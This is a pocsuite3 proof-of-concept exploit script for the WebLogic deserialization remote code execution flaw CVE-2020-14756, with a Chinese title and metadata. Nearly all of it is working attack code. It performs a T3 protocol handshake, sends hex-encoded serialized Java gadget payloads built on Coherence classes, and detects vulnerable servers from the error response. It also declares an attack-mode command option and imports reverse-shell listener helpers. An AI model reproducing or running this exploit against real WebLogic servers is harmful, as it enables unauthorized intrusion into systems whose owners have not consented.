Weblogic Server远程代码执行漏洞（CVE-2020-14756）

import base64 import binascii import re import select import socket import time from collections import OrderedDict from urllib.parse import urlparse from pocsuite3.api import Output, POCBase, register_poc, logger, get_listener_ip, get_listener_port from pocsuite3.lib.core.interpreter_option import OptString from pocsuite3.modules.listener import REVERSE_PAYLOAD class TestPOC(POCBase): vulID = '' version = '1' author = '' vulDate = '2021-01-21' createDate = '2021-01-21' updateDate = '2021-01-21' references = [] name = 'WebLogic 反序列化远程命令执行漏洞(CVE-2020-14756)' appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html' appName = 'WebLogic' appVersion = 'WebLogic 10.3.6.0.0、WebLogic 12.1.3.0.0、WebLogic12.2.1.3.0、WebLogic 12.2.1.4.0' vulType = 'Remote Command Execution' desc = ''' WebLogic 反序列化远程命令执行漏洞(CVE-2020-14756) ''' samples = [] def _options(self): o = OrderedDict() o["command"] = OptString('', description='attack模式可以指定执行的命令') return o def recvall(self, s, length, timeout=10): timeout = timeout endtime = time.time() + timeout rdata = b'' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: if not rdata: return None else: return rdata r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def t3handshake(self, sock, server_addr): sock.connect(server_addr) sock.send(binascii.a2b_hex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) time.sleep(1) sock.recv(1024) def buildt3requestobject(self, sock): data1 = ("000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a7" "77666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a0000" "00030000000000000006007070707070700000000a00000003000000000000000600700" "6fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c" "65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6" "f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900" "056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b7365727" "66963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c" "657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f727" "1007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000ac" "ed00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e74727" "92f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e74" "65726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6" "16765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061" "636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612" "f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400" "025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636" "b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249" "000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706" "f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c5665" "6e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078f" "e010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65" "456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6" "e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a" "6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655" "061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b" "4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e6" "66f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273" "696f6e496e666f972245516452463e0200035b00087061636b6167657371") data2 = ("007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f5" "37472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200" "247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e6" "66fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c" "696e67506174636849000b736572766963655061636b5a000e74656d706f72617279506" "17463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f727100" "7e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe01000" "0aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a" "0c000078707750210000000000000000000d3139322e3136382e312e323237001257494" "e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffff" "ffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f676" "9632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07") data3 = '1a7727000d3234322e323134' data4 = '2e312e32353461863d1d0000000078' for d in [data1, data2, data3, data4]: sock.send(bytes.fromhex(d)) time.sleep(2) def sendevilobjdata(self, sock, data): payload = ("056508000000010000001b0000005d0101007372017870737202787000000000000000007" "57203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9b" "cfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f67696" "32e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200" "025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626" "c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c0000" "78707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000787" "07702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c617373" "5461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e5" "66563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e74" "49000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a617" "6612f6c616e672f4f626a6563743b78707702000078fe010000") payload += data payload += ("fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553" "657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f676963" "2e726d692e70726f76696465722e426173696353657276696365436f6e74657874e46322" "36c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e746572" "6e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c00007870773400" "2e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c" "2e55736572496e666f3b290000001b7878fe00ff") payload = "%08x%s" % (int((len(payload) / 2 + 4)), payload) sock.send(binascii.a2b_hex(payload)) time.sleep(2) res = "" try: res = self.recvall(sock, 10000, 15) res = res.decode(encoding="utf-8", errors="ignore") if res else "" except socket.timeout: pass return res def test_uri(self, host, port, payload): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(20) server_addr = (host, port) self.t3handshake(sock, server_addr) self.buildt3requestobject(sock) resp = self.sendevilobjdata(sock, payload) matched_content = re.search( "com.tangosol.coherence.servlet.AttributeHolder cannot be cast to weblogic.rjvm.ClassTableEntry", resp) if matched_content: return True except Exception as ex: logger.error(str(ex)) return False def _verify(self): output = Output(self) result = {} ports = [7001] port = urlparse(self.url).port host = urlparse(self.url).hostname if port and port not in ports: ports.append(port) payload = ("ACED00057372002E636F6D2E74616E676F736F6C2E636F686572656E63652E736572766C6" "5742E417474726962757465486F6C646572CC30A4783DEF6AC10C000078707785400A3963" "6F6D2E74616E676F736F6C2E7574696C2E61676772656761746F722E546F704E416767726" "56761746F72245061727469616C526573756C740A38636F6D2E74616E676F736F6C2E636F" "686572656E63652E726573742E7574696C2E657874726163746F722E4D76656C457874726" "163746F7200000000000200000001010100000078") for port in ports: if self.test_uri(host, port, payload): result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url output.success(result) break return output register_poc(TestPOC)